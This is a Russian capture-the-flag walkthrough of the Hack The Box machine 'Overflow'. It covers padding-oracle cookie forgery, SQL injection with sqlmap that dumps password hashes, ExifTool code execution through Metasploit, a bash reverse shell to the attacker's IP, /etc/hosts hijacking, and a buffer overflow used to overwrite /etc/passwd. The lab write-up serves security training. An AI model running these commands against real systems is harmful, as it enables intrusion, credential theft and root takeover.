Хакер - HTB Overflow. Упражняемся в атаке padding oracle и эксплуатируем баг в ExifTool
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Сканирование веб-контента
- Точка входа
- Padding oracle
- SQL Injection
- Точка опоры
- Продвижение
- Пользователь developer
- Пользователь tester
- Локальное повышение привилегий
- Анализ приложения
- Получение ПИН-кода
- Переполнение буфера
- Перезапись файла
В этой статье я покажу, как проводить атаку padding oracle и эксплуатировать сайты через SQL-инъекцию. Затем мы получим доступ к машине через уязвимость в ExifTool и повысим привилегии на хосте через переполнение буфера в пользовательском приложении.
Полигоном нам послужит Overflow — машина с площадки Hack The Box, оцененная как сложная. Ее прохождение действительно оказалось несколько запутанным.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts, чтобы было удобнее обращаться к ней:
10.10.11.119 overflow.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Мы нашли три открытых порта:
- 22 — служба OpenSSH 7.6p1;
- 25 — служба Postfix SMTP;
- 80 — веб‑сервер Apache 2.4.29.
К SSH доступа мы пока не имеем, что делать с SMTP-сервером на данном этапе, тоже неясно, поэтому просматриваем веб.

На сайте доступна регистрация и авторизация. Выполним оба действия, чтобы получить доступ к новым функциям. После регистрации и входа на панели сайта появятся новые ссылки на настройки профиля, а также какие‑то тематические статьи.


Сканирование веб-контента
Ничего интересного не обнаружив, я решил просканировать каталоги и сайты. Это поможет нам найти скрытый администратором контент.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске можно задать следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.
Набираем команду
ffuf -u http://overflow.htb/home/FUZZ -t 256 -w php_files_common.txt

Мы нашли файл logs.php. Также я просканировал корневой каталог сайта и получил дополнительно директорию config, которая пока что нам ничего не дает.

При попытке запросить содержимое logs.php получаем сообщение, что нам закрыт доступ.

ТОЧКА ВХОДА
Переходим к более глубокому анализу технологий сайта. И обратим внимание на странную последовательность в cookie — auth.

Я попробовал провернуть разные манипуляции с этой строкой: декодирование, частичное изменение, дополнение и урезание. В результате я наткнулся на код ответа 302 и редирект на страницу logot.php с параметром err=1.


Открыв эту страницу в браузере, обнаружим сообщение «Invalid padding», что сразу наталкивает на мысль об атаке padding oracle.

Padding oracle
Это атака на шифрование CBC, при котором сообщение разбивается на блоки длиной X байтов и каждый блок ксорится с предыдущим зашифрованным блоком. Затем результат шифруется. Что очень важно, шифрование выполняется блоками фиксированного размера.
Чтобы гарантировать точное размещение открытого текста в одном или нескольких блоках, часто используется дополнение (padding). Это дополнение может быть выполнено несколькими способами (самый распространенный — PKCS7). В PKCS7 дополнение будет состоять из одного и того же числа: количества недостающих байтов.
Например, если в открытом тексте отсутствуют два байта, то заполнение будет <wbr>x02<wbr>x02. Суть атаки заключается в том, что мы, манипулируя данными и получая информацию о верности дополнения, можем вскрыть весь исходный текст.
WWW
Подробнее о padding oracle attack в статье на «Хабрахабре»: часть 1, часть 2.
Для работы будем использовать скрипт PadBuster. Я перерегистрировал пользователя, получил куки и указал их этому чудо‑скрипту для работы.
padbuster http://overflow.htb/home/index.php Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX 8 -cookies auth=Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX

Нас просят выбрать вариант ответа, уведомляющий об ошибке дополнения. Рекомендован третий вариант, его и указываем.

В итоге мы получаем открытый текст, зашифрованный в cookie: user=ralf. Теперь мы понимаем формат данных для аутентификации. Сервер расшифровывает куки и определяет текущего пользователя. Но эта атака помогает не только вскрыть зашифрованные данные, но и заново зашифровать свои! Так мы можем указать PadBuster, что нужно зашифровать подобную строку для пользователя Admin.
padbuster http://overflow.htb/home/index.php Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX 8 -cookies auth=Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX -plaintext "user=Admin"

Спустя некоторое время мы получим куки, применив которые подключимся от имени администратора. На сайте нам становится доступна административная панель, с которой мы можем получить доступ к CMS Made Simple и найденным ранее логам.

Так как никаких учетных данных у нас нет, нужно проверить существующие эксплоиты, а для этого узнать версию продукта. Исходники Made Simple открыты, и можно подсмотреть путь к файлу с описанием обновлений: /doc/CHANGELOG.txt.

В этом файле последней упоминается версия 2.2.8. Утилита searchsploit для поиска эксплоитов в базе Exploit-DB помогает найти PoC эксплуатации SQL Injection для версии меньше 2.2.10.
searchsploit 'CMS made simple'
searchsploit -p php/webapps/46635.py

Но проэксплуатировать уязвимость не выходит, поэтому перейдем к логам.

В самих логах ничего полезного не находим. Однако если посмотреть на запрос в Burp, то сам способ запроса привлекает внимание.

Страница logs.php принимает параметр name, а это новая точка входа!
SQL Injection
Я веду несколько словарей, содержащих разные последовательности‑триггеры для разных уязвимостей. На словаре для определения инъекций SQL у меня определилось несколько видов ответов.


Чтобы раскрутить уязвимость, воспользуемся sqlmap. Указываем полученные ранее cookie, а тестируемое место — символом *.
sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA

Sqlmap нашел уязвимый запрос, поэтому попробуем достать интересные данные. Первым делом получим список баз данных (параметр --dbs).
sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA --dbs

Логи нам неинтересны, служебная база — тоже, а вот cmsmsdb — это база данных Made Simple. Она должна содержать учетные данные. Получим список таблиц (параметр --tables) из этой базы (параметр -D).
sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb --tables

Нас интересует таблица cms_users. Выводим все содержимое (параметр --dump) из этой таблицы (параметр -T).
sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb -T cms_users --dump

Получаем два хеша пользовательских паролей. Теперь попробуем их крякнуть. Made Simple использует хеширование MD5 с солью по схеме md5(salt + pass) (для hashcat это режим 20). Соль мы можем получить как sitemask из таблицы cms_siteprefs.
sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb -T cms_siteprefs --dump

Хеш и соль нужно записать в файл в формате hash:salt, после чего отдать его на перебор в hashcat, который очень быстро вернет нам пароль пользователя editor.
hashcat -a 0 -m 20 hashes rockyou.txt

Учетные данные помогают авторизоваться в Made Simple.

Погуляв по сайту, находим новый домен. А это новая точка входа!

ТОЧКА ОПОРЫ
Новый домен сразу добавляем в файл /etc/hosts.
10.10.11.119 overflow.htb devbuild-job.overflow.htb

Разобраться с формой авторизации нам помогают учетные данные пользователя editor. Нам открывается какой‑то магазин дизайна приложений. И первым делом я отправился искать возможность что‑то изменить в настройках аккаунта в надежде найти очередную точку входа.

В профиле есть возможность загрузить резюме — то, что нужно! Попытки залить разные нагрузки успехом не увенчались, так как форма принимает только файлы TIFF и JPEG.

Однако потом я решил глянуть, что предлагает мне Burp, и нашел в ответе вывод ExifTool версии 11.02.

Так как мы знаем версию программы, нужно сразу проверить наличие задокументированных эксплоитов.

Мы тут же получаем CVE-идентификатор уязвимости, которая может дать нам удаленное выполнение кода. Оно возможно, поскольку при обработке изображения не фильтруются пользовательские данные, что позволяет нам записать в качестве этих данных нагрузку. Для этой уязвимости есть даже готовый билдер в Metasploit Framework:
exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
Выбираем в качестве нагрузки реверс‑шелл Unix и указываем адрес хоста и порт, на котором запущен листенер (запускаем командой rlwrap -cAr nc -lvp 4321).
msfconole -q
use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
set payload cmd/unix/reverse_netcat
set LHOST 10.10.14.17
set LPORT 4321

Засылаем картинку и тут же получаем бэкконнект от сервера.

ПРОДВИЖЕНИЕ
Пользователь developer
Так как на хосте развернут веб‑сервер, а на нем работает несколько веб‑приложений, то первое наше действие — попробовать получить учетные данные пользователей. Высока вероятность того, что эти логины и пароли подойдут для каких‑то пользователей в системе. К тому же был каталог content, именно в нем мы и находили файл с учетными данными для подключения к базе данных.

От имени пользователя developer подключаемся по SSH.

Пользователь tester
Как показывает команда id, наш пользователь состоит в группе network. Это не какая‑то умолчательная настройка.
Для сбора информации с машины я использовал скрипт LinPEAS. С его помощью определяем, что члены группы network имеют право записи в файл /etc/hosts, а также текущему пользователю разрешен запуск файла /opt/commontask.sh, владельцем которого является tester.


Просмотрим содержимое файла /opt/commontask.sh.

Этот скрипт скачивает файл task.sh с адреса taskmanage.overflow.htb и выполняет с помощью bash. Дело в том, что хост не знает этого имени и не может его зарезолвить, но мы можем записать его в файл /etc/hosts на удаленном хосте, а в качестве адреса указать свой хост.

Создаем на своем веб‑сервере скрипт task.sh, куда записываем обычный реверс‑шелл:
bash -i >& /dev/tcp/10.10.14.7/4321 0>&1`
В течение минуты получаем бэкконнект.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Среди файлов со списком доступа, обнаруженных с помощью LinPEAS, был и /opt/file_encrypt. Он может запускаться пользователем tester от имени рута. В этой директории я обнаружил сообщение, в котором говорится о том, что нужно обратить внимание на функцию проверки ПИН‑кода.


Скачиваем приложение на локальную машину, чтобы хорошенько разреверсить и понять, что в нем происходит. Для анализа приложения я использовал IDA Pro с декомпилятором Hex-Rays.
Анализ приложения
Итак, в функции main кроме вызова функции check_pin больше ничего не происходит.

В функции check_pin генерируется псевдослучайное число (строка 8), затем оно передается в функцию random для дальнейших преобразований (строка 9). ПИН‑код считывается из консоли и сравнивается с преобразованным рандомным значением (строки 11–13). Далее считывается имя и выводится сообщение (строки 14–16).


Сразу обозначим следующее:
- сгенерированное «рандомное» число всегда будет одним и тем же при каждом запуске программы, так как не используется инициализация рандомайзера;
- длина буфера
v1— 20 байт, при этом длина считываемой строки не проверяется. Таким образом, мы имеем переполнение буфера.
В списке функций найдем еще одну, которая нигде не вызывается, — функция encrypt.


В начале функции у нас запрашивают два файла (строки 35–50). Затем выполняется посимвольное чтение из первого файла, XOR с символом 0x9B и запись во второй файл (строки 52–78).

Таким образом мы можем заранее зашифровать файл с ключом 0x9B, а затем перезаписать любой файл в системе. При повторном шифровании в программе он будет расшифрован. Осталось вызвать функцию encrypt, для чего нужно получить ПИН и переполнить буфер.
Получение ПИН-кода
Чтобы узнать ПИН‑код, я решил просто запустить приложение в отладчике и получить его значение после выполнения функции random (результат в регистре EAX).

Так как первый байт (0xf3) больше, чем 0x7f, то наше число будет представлено как отрицательное. То есть нам нужно из полученного значения вычесть 0x100000000, выйдет -202976456 — это и есть наш ПИН.
Переполнение буфера
В тестировании переполнения буфера очень помогают генераторы последовательностей де Брёйна (неповторяющихся цепочек символов). Они к тому же помогают точно вычислить смещение, по которому мы можем перезаписывать в стеке адрес возврата из функции. Сгенерировать такую последовательность можно, к примеру, с помощью незаменимого pwntools. Сгенерируем строку длиной 200 символов.

Теперь передадим ее в качестве имени нашему приложению и посмотрим, на каком адресе вылетит программа.

Так, 0x6161616c соответствует последовательности laaa. Получим смещение в последовательности.

Выходит, до адреса функции encrypt мы должны передать 44 байта. Осталось получить адрес функции. Для этого запускаем программу на удаленном хосте через отладчик GDB, запускаем программу (команда r), после чего посылаем сигнал завершения (Ctrl-C) и просматриваем функцию encrypt (команда disas encrypt). Искомый адрес — 0x5655585b.

Что удобно, адрес полностью состоит из печатаемых символов.

После запуска программы ввода ПИН‑кода и нагрузки, переполняющей буфер, у нас спрашивают путь к файлу. Таким образом нам удалось перейти к функции encrypt.

Перезапись файла
Сначала я хотел перезаписать файл authorized_keys, чтобы потом подключиться по SSH, но ничего не вышло. Тогда я решил перезаписать файл /etc/passwd. Добавим туда нового пользователя с высокими привилегиями. Но сначала зашифруем пароль этого пользователя.

Затем скопируем содержимое файла /etc/passwd в файл /tmp/passwd и добавим в конец строку, отвечающую за нашего пользователя.

Теперь проксорим этот файл.
src = open("/tmp/passwd", "rb").read()
dst = open("/tmp/passwd.n", "wb")
for i in src:
dst.write(bytes([i^0x9b]))
И укажем эти файлы в программе.

Программа рухнула, но свою задачу выполнила. Осталось просто сменить пользователя и забрать флаг рута.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei